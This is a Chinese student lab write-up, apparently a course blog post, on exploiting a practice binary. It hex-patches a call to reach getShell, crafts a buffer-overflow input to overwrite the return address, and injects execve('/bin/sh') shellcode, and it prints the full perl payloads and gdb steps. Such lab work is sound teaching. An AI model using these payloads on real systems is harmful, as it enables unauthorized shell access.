1.实验内容
本周学习内容
1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。
实验任务
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
任务一 直接修改程序机器指令,改变程序执行流程
下载目标文件pwn1,然后上传至kali,并将其重命名为pwn20222405。
使用命令objdump -d pwn20222405 | more
对文件pwn20222405进行反汇编。
找到getShell、foo、main的部分。
从这里可以看到main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。
如果想让它调用getShell,只要修改d7ffffff为“getShell-80484ba”对应的补码即可,经过计算得到补码c3ffffff。
输入命令vi pwn20222405
进行编辑,接着输入:%!xxd
将显示模式切换为16进制模式,并查找要修改的内容。
将其中的call指令的目标地址由d7ffffff变为c3ffffff。
输入:%!xxd -r
转换16进制为原格式,:wq
保存修改。
再反汇编看一下,call指令是否正确调用getShell。
这次call指令可以正确调用getShell了。
看一下原始的pwn1的功能。
只是简单的回显任何用户输入的字符串。
再看一下修改后的功能。
可以正常执行用户输入的命令了。
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
使用命令cp pwn20222405 pwn20222405_BOF
复制一份文件来实现该任务。
foo函数只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。
使用sudo apt update
和sudo apt install gdb
命令安装gdb。
接下来确认输入字符串哪几个字符会覆盖到返回地址。
启动gdb,输入1111111122222222333333334444444412345678,使用info r
查看EIP寄存器中的数据。
eip中存的地址变成了 0x34333231,也就是4321。
因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包括这样字符串的文件,
再使用16进制查看指令xxd input
查看文件的内容。
然后将input的输入,通过管道符“|”,作为pwn20222405_BOF的输入。
这时执行的功能是getShell函数的功能,输入命令ls
,成功调用了getShell函数来执行命令。
任务三 注入Shellcode并执行
首先修改堆栈设置,但我发现我没有安装execstack,于是先使用命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
安装此工具。
接下来修改堆栈设置。
构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打开终端注入攻击buf:
打开另外一个终端,用gdb来调试pwn20222405_BOF。
先看一下pwn20222405_BOF的进程号。
启动gdb调试这个进程。
通过设置断点,来查看注入buf的内存地址.
在另外一个终端中按下回车。
和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcee0,需要改为perl -e 'print "A" x 32;print "\xe0\xce\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
最后编译运行,任务成功!
3.问题及解决方案
问题1:在任务一中,使用/e8d7查找要修改的内容失败。
问题1解决方案:在/e8d7中间加上空格,使用/e8 d7来进行查找即可。
问题2:系统显示缺少gdb
问题2解决方案:
输入命令sudo apt-get update
和sudo apt install gdb
即可。
问题3:系统报错Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)
问题3解决方案:这个报错在网上很难找到解决方案,经过我长时间的努力,发现是校园网的问题,虽然主机登录认证过了,但kali里面并未认证,所以会报错,切换成个人热点即可解决。
问题4:系统显示execstack未安装
问题4解决方案:根据网上的办法输入命令apt-get install execstack
但并未成功,即使换了源也显示找不到。于是我在网上直接找的安装包,上传到虚拟机,输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
即可成功安装。
4.学习感悟、思考等
本次实验是我的第一次网络与系统攻防技术实验,刚看到实验内容的时候感到无从下手,这是一个陌生且复杂的挑战,开始做的时候感觉很困难,什么也不会做,而且每做一点就会遇到新的问题,我花了很长很长时间在网上查找资料和解决方法。但是在这个过程中,我的解决问题的能力得到了巨大提升,对于知识点的了解也更加深刻。通过这次实验,我对汇编语言、堆栈以及缓冲区溢出等知识有了更深入的了解,在实验成功后我也获得了满满的成就感,对于Linux系统的操作也更加熟练了,我觉得这次实验很有趣,也收获了很多,就是有点累,但这些努力和付出我觉得都是值得的,希望以后能学到更多有趣的知识。
标签:x90,getShell,20222412,2024,2025,gdb,命令,pwn20222405,输入 From: https://www.cnblogs.com/20222405chu/p/18449028